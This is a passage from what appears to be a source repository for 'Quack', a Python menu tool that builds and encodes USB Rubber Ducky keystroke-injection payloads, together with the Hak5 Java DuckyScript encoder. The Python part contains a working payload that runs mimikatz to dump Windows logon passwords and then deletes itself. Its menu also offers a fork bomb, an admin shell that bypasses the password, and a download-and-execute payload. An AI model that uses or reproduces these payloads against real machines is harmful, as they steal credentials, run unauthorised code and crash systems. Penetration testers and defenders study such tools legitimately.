3000 110 | STRING %TEMP%\mimikatz.exe 111 | DELAY 300 112 | ENTER 113 | DELAY 3000 114 | STRING privilege::debug 115 | DELAY 300 116 | ENTER 117 | DELAY 1000 118 | STRING sekurlsa::logonPasswords full 119 | DELAY 300 120 | ENTER 121 | DELAY 1000 122 | STRING exit 123 | DELAY 300 124 | ENTER 125 | DELAY 100 126 | STRING del %TEMP%\mimikatz.exe 127 | DELAY 300 128 | ENTER 129 | """ 130 | 131 | 132 | 133 | ############## Global Color Vars ############## 134 | 135 | # Standard Colors 136 | W = '\033[0m' # white (normal) 137 | R = '\033[31m' # red 138 | G = '\033[32m' # green 139 | O = '\033[33m' # orange 140 | B = '\033[34m' # blue 141 | P = '\033[35m' # purple 142 | C = '\033[36m' # cyan 143 | LR = '\033[1;31m' # light red 144 | LG = '\033[1;32m' # light green 145 | LO = '\033[1;33m' # light orange 146 | LB = '\033[1;34m' # light blue 147 | LP = '\033[1;35m' # light purple 148 | LC = '\033[1;36m' # light cyan 149 | 150 | ################# DEF MAINS ######################################## 151 | 152 | def help(): 153 | print """ 154 | Ducky Commands: 155 | ALT [key name] (ex: ALT F4, ALT SPACE) 156 | CTRL | CONTROL [key name] (ex: CTRL ESC) 157 | CTRL-ALT [key name] (ex: CTRL-ALT DEL) 158 | CTRL-SHIFT [key name] (ex: CTRL-SHIFT ESC) 159 | DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10] (change the delay between each command) 160 | DELAY [Time in millisecond * 10] (used to overide temporary the default delay) 161 | GUI | WINDOWS [key name] (ex: GUI r, GUI l) 162 | REM [anything] (used to comment your code, no obligation :) ) 163 | ALT-SHIFT (swap language) 164 | SHIFT [key name] (ex: SHIFT DEL) 165 | STRING [any character of your layout] 166 | REPEAT [Number] (Repeat last instruction N times) 167 | [key name] (anything in the keyboard.properties) 168 | """ 169 | def script(): 170 | print "Type your code here (hit ENTER to go to a new line) and when your done type DONE in all caps on a new line." 171 | def scriptss(): 172 | scripts = raw_input(">") 173 | while scripts != 'DONE': 174 | FILE = open("ducky-custom.txt","a+") 175 | FILE.write(scripts + "\n") 176 | FILE.close() 177 | scriptss() 178 | if scripts == "DONE": 179 | print "[*] Generated payload!" 180 | FILE = open("ducky-custom.txt","a+") 181 | for line in FILE.readlines(): 182 | cleaned_line = line.replace(scripts,"") 183 | FILE.close() 184 | if platform.system() == "Windows": 185 | os.system("duckencoder.jar -i ducky-custom.txt -o ducky-custom.bin") 186 | print "[*] Successfully encoded!" 187 | elif platform.system() == "Linux": 188 | os.system("java -jar duckencoder.jar -i ducky-custom.txt -o ducky-custom.bin") 189 | print "[*] Successfully encoded!" 190 | time.sleep(2) 191 | sys.exit(1) 192 | scriptss() 193 | 194 | def encode(): 195 | print "Include .txt and .bin in file names" 196 | encode = raw_input("[>] Text file to be encoded: ") 197 | print "Remember, for the script to work, it has to be called inject.bin" 198 | output = raw_input("[>] Output file: ") 199 | if platform.system() == "Windows": 200 | os.system("duckencoder.jar -i " + encode + " -o " + output) 201 | print "[*] Successfully encoded!" 202 | elif platform.system() == "Linux": 203 | os.system("java -jar duckencoder.jar -i " + encode + " -o " + output) 204 | print "[*] Successfully encoded!" 205 | time.sleep(2) 206 | 207 | 208 | def upload(): 209 | while True: 210 | print "" 211 | print "-------------------------------------------------" 212 | print "[1] Mimikatz Cred Harvester" 213 | print "Find passwords with mimkatz" 214 | print "-------------------------------------------------" 215 | print "[2] Simple Hello World" 216 | print "Opens notepad and types Hello World!!!" 217 | print "-------------------------------------------------" 218 | print "[3] Fork Bomb (Win7) " 219 | print "Makes and then executes a fork bomb" 220 | print "-------------------------------------------------" 221 | print "[4] Admin Command Prompt" 222 | print "Opens an cmd in admin without the admin password" 223 | print "-------------------------------------------------" 224 | print "[5] Download a file" 225 | print "Download and then execute a given .exe" 226 | print "-------------------------------------------------" 227 | print "[6] Exit" 228 | print "Exit and go to the main menu" 229 | print "-------------------------------------------------" 230 | 231 | script = raw_input("[>] Which script: ") 232 | 233 | if script == "1": 234 | FILE = open("ducky-mimikatz.txt","a+") 235 | FILE.write(mimikatz) 236 | FILE.close() 237 | print "[*] Generated payload!" 238 | time.sleep(2) 239 | if platform.system() == "Windows": 240 | os.system("duckencoder.jar -i ducky-mimikatz.txt -o ducky-mimikatz.bin") 241 | print "[*] Successfully encoded!" 242 | elif platform.system() == "Linux": 243 | os.system("java -jar duckencoder.jar -i ducky-mimikatz.txt -o ducky-mimikatz.bin") 244 | print "[*] Successfully encoded!" 245 | elif script == "2": 246 | FILE = open("ducky-helloworld.txt","a+") 247 | FILE.write(helloworld) 248 | FILE.close() 249 | print "[*] Generated payload!" 250 | if platform.system() == "Windows": 251 | os.system("duckencoder.jar -i ducky-helloworld.txt -o ducky-helloworld.bin") 252 | print "[*] Successfully encoded!" 253 | elif platform.system() == "Linux": 254 | os.system("java -jar duckencoder.jar -i ducky-helloworld.txt -o ducky-helloworld.bin") 255 | print "[*] Successfully encoded!" 256 | elif script == "3": 257 | FILE = open("ducky-fork.txt","a+") 258 | FILE.write(fork) 259 | FILE.close() 260 | print "[*] Generated payload!" 261 | if platform.system() == "Windows": 262 | os.system("duckencoder.jar -i ducky-fork.txt -o ducky-fork.bin") 263 | print "[*] Successfully encoded!" 264 | elif platform.system() == "Linux": 265 | os.system("java -jar duckencoder.jar -i ducky-fork.txt -o ducky-fork.bin") 266 | print "[*] Successfully encoded!" 267 | elif script == "4": 268 | FILE = open("ducky-admin-cmd.txt","a+") 269 | FILE.write(admin) 270 | FILE.close() 271 | print "[*] Generated payload!" 272 | if platform.system() == "Windows": 273 | os.system("duckencoder.jar -i ducky-admin-cmd.txt -o ducky-admin-cmd.bin") 274 | print "[*] Successfully encoded!" 275 | elif platform.system() == "Linux": 276 | os.system("java -jar duckencoder.jar -i ducky-admin-cmd.txt -o ducky-admin-cmd.bin") 277 | print "[*] Successfully encoded!" 278 | elif script == "5": 279 | FILE = open("ducky-download.txt","a+") 280 | FILE.write(download) 281 | FILE.close() 282 | print "[*] Generated payload!" 283 | if platform.system() == "Windows": 284 | os.system("duckencoder.jar -i ducky-download.txt -o ducky-download.bin") 285 | print "[*] Successfully encoded!" 286 | elif platform.system() == "Linux": 287 | os.system("java -jar duckencoder.jar -i ducky-download.txt -o ducky-download.bin") 288 | print "[*] Successfully encoded!" 289 | elif script == "6": 290 | break 291 | 292 | ###################################################### 293 | 294 | 295 | 296 | 297 | header1 = """ 298 | 299 | ..---.. 300 | .' _ `. 301 | __..' (o) : 302 | `..__ ; 303 | `. / 304 | ; `..---...___ 305 | .' `~-. .-') 306 | . ' _.' 307 | : : 308 | \ ' 309 | + J 310 | `._ _.' 311 | `~--....___...---~' 312 | """ 313 | header2 = """ 314 | --------------------------- 315 | Welcome to Quack! 316 | Where hacks come true! 317 | --------------------------- 318 | 319 | Developed By: @_t0x1c 320 | Thanks Hak5! 321 | """ 322 | ########################### Main ########################### 323 | 324 | while True: 325 | print header1 326 | print header2 327 | print "=====================================" 328 | print "1. Download pre-made scripts" 329 | print "2. Make Ducky script from scratch" 330 | print "3. Encode a payload" 331 | print "4. Help" 332 | print "=====================================" 333 | 334 | main = raw_input("(>) Select Option: " ) 335 | if main == "1": 336 | upload() 337 | elif main == "2": 338 | script() 339 | elif main == "3": 340 | encode() 341 | elif main == "4": 342 | help() 343 | else: 344 | print "Did not get that!" 345 | continue 346 | -------------------------------------------------------------------------------- /Encoder/src/Encoder.java: -------------------------------------------------------------------------------- 1 | // File: Encoder.java 2 | // Created: 8/10/2011 3 | // Original Author:Jason Appelbaum Jason@Hak5.org 4 | // Author: Dnucna 5 | // Modified: 8/18/2012 6 | // Modified: 11/9/2013 midnitesnake "added COMMAND-OPTION" 7 | // Modified: 1/3/2013 midnitesnake "added COMMAND" 8 | // Modified: 1/3/2013 midnitesnake "added REPEAT X" 9 | // Modified: 2/5/2013 midnitesnake "added ALT-SHIFT" 10 | // Modified: 4/18/2013 midnitesnake "added more user feedback" 11 | // Modified: 5/2/2013 midnitesnake "added skip over empty lines" 12 | // Modified: 1/12/2014 Benthejunebug "added ALT-TAB" 13 | // Modified: 9/13/2016 rbeede "added STRING_DELAY n text" 14 | 15 | import java.io.DataInputStream; 16 | import java.io.File; 17 | import java.io.FileInputStream; 18 | import java.io.FileOutputStream; 19 | import java.io.IOException; 20 | import java.io.InputStream; 21 | import java.util.ArrayList; 22 | import java.util.List; 23 | 24 | import javax.swing.text.BadLocationException; 25 | import javax.swing.text.Document; 26 | import javax.swing.text.rtf.RTFEditorKit; 27 | 28 | import java.util.Properties; 29 | 30 | public class Encoder { 31 | /* contains the keyboard configuration */ 32 | private static Properties keyboardProps = new Properties(); 33 | /* contains the language layout */ 34 | private static Properties layoutProps = new Properties(); 35 | private static String version = "2.6.4"; 36 | private static Boolean debug=false; 37 | 38 | public static void main(String[] args) { 39 | String helpStr = "Hak5 Duck Encoder "+version+"\n\n" 40 | + "Usage: duckencode -i [file ..]\t\t\tencode specified file\n" 41 | + " or: duckencode -i [file ..] -o [file ..]\tencode to specified file\n\n" 42 | + "Arguments:\n" 43 | + " -i [file ..] \t\tInput File\n" 44 | + " -o [file ..] \t\tOutput File\n" 45 | + " -l [file ..] \t\tKeyboard Layout (us/fr/pt or a path to a properties file)\n\n" 46 | + "Script Commands:\n" 47 | + " ALT [key name] (ex: ALT F4, ALT SPACE)\n" 48 | + " CTRL | CONTROL [key name] (ex: CTRL ESC)\n" 49 | + " CTRL-ALT [key name] (ex: CTRL-ALT DEL)\n" 50 | + " CTRL-SHIFT [key name] (ex: CTRL-SHIFT ESC)\n" 51 | + " DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond] (change the delay between each command)\n" 52 | + " DELAY [Time in millisecond] (used to overide temporary the default delay)\n" 53 | + " GUI | WINDOWS [key name] (ex: GUI r, GUI l)\n" 54 | + " REM [anything] (used to comment your code, no obligation :) )\n" 55 | + " ALT-SHIFT (swap language)\n" 56 | + " SHIFT [key name] (ex: SHIFT DEL)\n" 57 | + " STRING [any character of your layout]\n" 58 | + " STRING_DELAY [Number] [any character of your layout] (Number is ms delay between each character)\n" 59 | + " REPEAT [Number] (Repeat last instruction N times)\n" 60 | + " [key name] (anything in the keyboard.properties)"; 61 | 62 | String inputFile = null; 63 | String outputFile = null; 64 | String layoutFile = null; 65 | 66 | if (args.length == 0) { 67 | System.out.println(helpStr); 68 | System.exit(0); 69 | } 70 | 71 | for (int i = 0; i < args.length; i++) { 72 | if (args[i].equals("--gui") || args[i].equals("-g")) { 73 | System.out.println("Launch GUI"); 74 | } else if (args[i].equals("--help") || args[i].equals("-h")) { 75 | System.out.println(helpStr); 76 | } else if (args[i].equals("-i")) { 77 | // encode file 78 | inputFile = args[++i]; 79 | } else if (args[i].equals("-o")) { 80 | // output file 81 | outputFile = args[++i]; 82 | } else if (args[i].equals("-l")) { 83 | // output file 84 | layoutFile = args[++i]; 85 | } else if (args[i].equals("-d")) { 86 | // output file 87 | debug=true; 88 | } else { 89 | System.out.println(helpStr); 90 | break; 91 | } 92 | } 93 | 94 | System.out.println("Hak5 Duck Encoder "+version+"\n"); 95 | 96 | if (inputFile != null) { 97 | String scriptStr = null; 98 | 99 | if (inputFile.contains(".rtf")) { 100 | try { 101 | FileInputStream stream = new FileInputStream(inputFile); 102 | RTFEditorKit kit = new RTFEditorKit(); 103 | Document doc = kit.createDefaultDocument(); 104 | kit.read(stream, doc, 0); 105 | 106 | scriptStr = doc.getText(0, doc.getLength()); 107 | System.out.println("Loading RTF .....\t\t[ OK ]"); 108 | } catch (IOException e) { 109 | System.out.println("Error with input file!"); 110 | } catch (BadLocationException e) { 111 | System.out.println("Error with input file!"); 112 | } 113 | 114 | } else { 115 | DataInputStream in = null; 116 | try { 117 | File f = new File(inputFile); 118 | byte[] buffer = new byte[(int) f.length()]; 119 | in = new DataInputStream(new FileInputStream(f)); 120 | in.readFully(buffer); 121 | scriptStr = new String(buffer); 122 | System.out.println("Loading File .....\t\t[ OK ]"); 123 | } catch (IOException e) { 124 | System.out.println("Error with input file!"); 125 | } finally { 126 | try { 127 | in.close(); 128 | } catch (IOException e) { /* ignore it */ 129 | } 130 | } 131 | } 132 | loadProperties((layoutFile == null) ? "us" : layoutFile); 133 | 134 | encodeToFile(scriptStr, (outputFile == null) ? "inject.bin" 135 | : outputFile); 136 | } 137 | 138 | } 139 | 140 | private static void loadProperties (String lang){ 141 | InputStream in; 142 | ClassLoader loader = ClassLoader.getSystemClassLoader (); 143 | try { 144 | in = loader.getResourceAsStream("keyboard.properties"); 145 | if(in != null){ 146 | keyboardProps.load(in); 147 | in.close(); 148 | System.out.println("Loading Keyboard File .....\t[ OK ]"); 149 | }else{ 150 | System.out.println("Error with keyboard.properties!"); 151 | System.exit(0); 152 | } 153 | } catch (IOException e) { 154 | System.out.println("Error with keyboard.properties!"); 155 | } 156 | 157 | try { 158 | in = loader.getResourceAsStream(lang + ".properties"); 159 | if(in != null){ 160 | layoutProps.load(in); 161 | in.close(); 162 | System.out.println("Loading Language File .....\t[ OK ]"); 163 | }else{ 164 | if(new File(lang).isFile()){ 165 | layoutProps.load(new FileInputStream(lang)); 166 | System.out.println("Loading Language File .....\t[ OK ]"); 167 | } else{ 168 | System.out.println("External layout.properties non found!"); 169 | System.exit(0); 170 | } 171 | } 172 | } catch (IOException e) { 173 | System.out.println("Error with layout.properties!"); 174 | System.exit(0); 175 | } 176 | 177 | } 178 | private static void encodeToFile(String inStr, String fileDest) { 179 | 180 | inStr = inStr.replaceAll("\\r", ""); // CRLF Fix 181 | String[] instructions = inStr.split("\n"); 182 | String[] last_instruction = inStr.split("\n"); 183 | List file = new ArrayList(); 184 | int defaultDelay = 0; 185 | int loop =0; 186 | boolean repeat=false; 187 | System.out.println("Loading DuckyScript .....\t[ OK ]"); 188 | if(debug) System.out.println("\nParsing Commands:"); 189 | for (int i = 0; i < instructions.length; i++) { 190 | try { 191 | boolean delayOverride = false; 192 | String commentCheck = instructions[i].substring(0, 2); 193 | if (commentCheck.equals("//")) 194 | continue; 195 | if (instructions[i].equals("\n")) 196 | continue; 197 | String[] instruction = instructions[i].split(" ", 2); 198 | 199 | if(i>0){ 200 | last_instruction=instructions[i-1].split(" ", 2); 201 | last_instruction[0].trim(); 202 | if (last_instruction.length == 2) { 203 | last_instruction[1].trim(); 204 | } 205 | }else{ 206 | last_instruction=instructions[i].split(" ", 2); 207 | last_instruction[0].trim(); 208 | if (last_instruction.length == 2) { 209 | last_instruction[1].trim(); 210 | } 211 | } 212 | 213 | instruction[0].trim(); 214 | 215 | if (instruction.length == 2) { 216 | instruction[1].trim(); 217 | } 218 | 219 | if (instruction[0].equals("REM")){ 220 | continue; 221 | } 222 | if (instruction[0].equals("REPEAT")){ 223 | loop=Integer.parseInt(instruction[1].trim()); 224 | repeat=true; 225 | }else{ 226 | repeat=false; 227 | loop=1; 228 | } 229 | while(loop>0){ 230 | if (repeat){ 231 | instruction=last_instruction; 232 | //System.out.println(Integer.toString(instruction.length)); 233 | } 234 | if (debug) System.out.println(java.util.Arrays.toString(instruction)); 235 | if (instruction[0].equals("DEFAULT_DELAY") 236 | || instruction[0].equals("DEFAULTDELAY")) { 237 | defaultDelay = Integer.parseInt(instruction[1].trim()); 238 | delayOverride = true; 239 | } else if (instruction[0].equals("DELAY")) { 240 | int delay = Integer.parseInt(instruction[1].trim()); 241 | while (delay > 0) { 242 | file.add((byte) 0x00); 243 | if (delay > 255) { 244 | file.add((byte) 0xFF); 245 | delay = delay - 255; 246 | } else { 247 | file.add((byte) delay); 248 | delay = 0; 249 | } 250 | } 251 | delayOverride = true; 252 | } else if (instruction[0].equals("STRING")) { 253 | for (int j = 0; j < instruction[1].length(); j++) { 254 | char c = instruction[1].charAt(j); 255 | addBytes(file,charToBytes(c)); 256 | } 257 | } else if (instruction[0].equals("STRING_DELAY")) { 258 | final String[] twoOptions = instruction[1].split(" ", 2); 259 | final int delayMillis = Integer.parseInt(twoOptions[0].trim()); 260 | final String userText = twoOptions[1].trim(); 261 | 262 | if(debug) System.out.println(delayMillis); 263 | if(debug) System.out.println(userText); 264 | 265 | for (int j = 0; j < userText.length(); j++) { 266 | char c = userText.charAt(j); 267 | addBytes(file,charToBytes(c)); 268 | 269 | // Now insert the delay before the next character (and after the last is provided) 270 | for(int counter = delayMillis; counter > 0; counter -= 0xFF) { 271 | file.add((byte) 0x00); 272 | if(counter > 0xFF) { 273 | file.add((byte) 0xFF); 274 | } else { 275 | file.add((byte) counter); // Last one 276 | } 277 | } 278 | } 279 | } else if (instruction[0].equals("CONTROL") 280 | || instruction[0].equals("CTRL")) { 281 | if (instruction.length != 1){ 282 | file.add(strInstrToByte(instruction[1])); 283 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_CTRL"))); 284 | } else { 285 | file.add(strToByte(keyboardProps.getProperty("KEY_LEFT_CTRL"))); 286 | file.add((byte) 0x00); 287 | } 288 | } else if (instruction[0].equals("ALT")) { 289 | if (instruction.length != 1){ 290 | file.add(strInstrToByte(instruction[1])); 291 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_ALT"))); 292 | } else { 293 | file.add(strToByte(keyboardProps.getProperty("KEY_LEFT_ALT"))); 294 | file.add((byte) 0x00); 295 | } 296 | } else if (instruction[0].equals("SHIFT")) { 297 | if (instruction.length != 1) { 298 | file.add(strInstrToByte(instruction[1])); 299 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_SHIFT"))); 300 | } else { 301 | file.add(strToByte(keyboardProps.getProperty("KEY_LEFT_SHIFT"))); 302 | file.add((byte) 0x00); 303 | } 304 | } else if (instruction[0].equals("CTRL-ALT")) { 305 | if (instruction.length != 1) { 306 | file.add(strInstrToByte(instruction[1])); 307 | file.add((byte) (strToByte(keyboardProps.getProperty("MODIFIERKEY_CTRL")) 308 | | strToByte(keyboardProps.getProperty("MODIFIERKEY_ALT")))); 309 | } else { 310 | continue; 311 | } 312 | } else if (instruction[0].equals("CTRL-SHIFT")) { 313 | if (instruction.length != 1) { 314 | file.add(strInstrToByte(instruction[1])); 315 | file.add((byte) (strToByte(keyboardProps.getProperty("MODIFIERKEY_CTRL")) 316 | | strToByte(keyboardProps.getProperty("MODIFIERKEY_SHIFT")))); 317 | } else { 318 | continue; 319 | } 320 | } else if (instruction[0].equals("COMMAND-OPTION")) { 321 | if (instruction.length != 1) { 322 | file.add(strInstrToByte(instruction[1])); 323 | file.add((byte) (strToByte(keyboardProps.getProperty("MODIFIERKEY_KEY_LEFT_GUI")) 324 | | strToByte(keyboardProps.getProperty("MODIFIERKEY_ALT")))); 325 | } else { 326 | continue; 327 | } 328 | } else if (instruction[0].equals("ALT-SHIFT")) { 329 | if (instruction.length != 1) { 330 | file.add(strInstrToByte(instruction[1])); 331 | file.add((byte) (strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_ALT")) 332 | | strToByte(keyboardProps.getProperty("MODIFIERKEY_SHIFT"))) 333 | ); 334 | } else { 335 | file.add(strToByte(keyboardProps.getProperty("KEY_LEFT_ALT"))); 336 | file.add((byte) (strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_ALT")) 337 | | strToByte(keyboardProps.getProperty("MODIFIERKEY_SHIFT"))) 338 | ); 339 | } 340 | } else if (instruction[0].equals("ALT-TAB")){ 341 | if (instruction.length == 1) { 342 | file.add(strToByte(keyboardProps.getProperty("KEY_TAB"))); 343 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_ALT"))); 344 | } else{ 345 | // do something? 346 | } 347 | } else if (instruction[0].equals("REM")) { 348 | /* no default delay for the comments */ 349 | delayOverride = true; 350 | continue; 351 | } else if (instruction[0].equals("WINDOWS") 352 | || instruction[0].equals("GUI")) { 353 | if (instruction.length == 1) { 354 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_GUI"))); 355 | file.add((byte) 0x00); 356 | } else { 357 | file.add(strInstrToByte(instruction[1])); 358 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_GUI"))); 359 | } 360 | } else if (instruction[0].equals("COMMAND")){ 361 | if (instruction.length == 1) { 362 | file.add(strToByte(keyboardProps.getProperty("KEY_COMMAND"))); 363 | file.add((byte) 0x00); 364 | } else { 365 | file.add(strInstrToByte(instruction[1])); 366 | file.add(strToByte(keyboardProps.getProperty("MODIFIERKEY_LEFT_GUI"))); 367 | } 368 | }else { 369 | /* treat anything else as a key */ 370 | file.add(strInstrToByte(instruction[0])); 371 | file.add((byte) 0x00); 372 | } 373 | loop--; 374 | } 375 | // Default delay 376 | if (!delayOverride & defaultDelay > 0) { 377 | int delayCounter = defaultDelay; 378 | while (delayCounter > 0) { 379 | file.add((byte) 0x00); 380 | if (delayCounter > 255) { 381 | file.add((byte) 0xFF); 382 | delayCounter = delayCounter - 255; 383 | } else { 384 | file.add((byte) delayCounter); 385 | delayCounter = 0; 386 | } 387 | } 388 | } 389 | }catch (StringIndexOutOfBoundsException e){ 390 | //do nothing 391 | } 392 | catch (Exception e) { 393 | System.out.println("Error on Line: " + (i + 1)); 394 | e.printStackTrace(); 395 | } 396 | } 397 | 398 | // Write byte array to file 399 | byte[] data = new byte[file.size()]; 400 | for (int i = 0; i < file.size(); i++) { 401 | data[i] = file.get(i); 402 | } 403 | try { 404 | File someFile = new File(fileDest); 405 | FileOutputStream fos = new FileOutputStream(someFile); 406 | fos.write(data); 407 | fos.flush(); 408 | fos.close(); 409 | System.out.println("DuckyScript Complete.....\t[ OK ]\n"); 410 | } catch (Exception e) { 411 | System.out.print("Failed to write hex file!"); 412 | } 413 | 414 | } 415 | 416 | private static void addBytes(List file, byte[] byteTab){ 417 | for(int i=0;i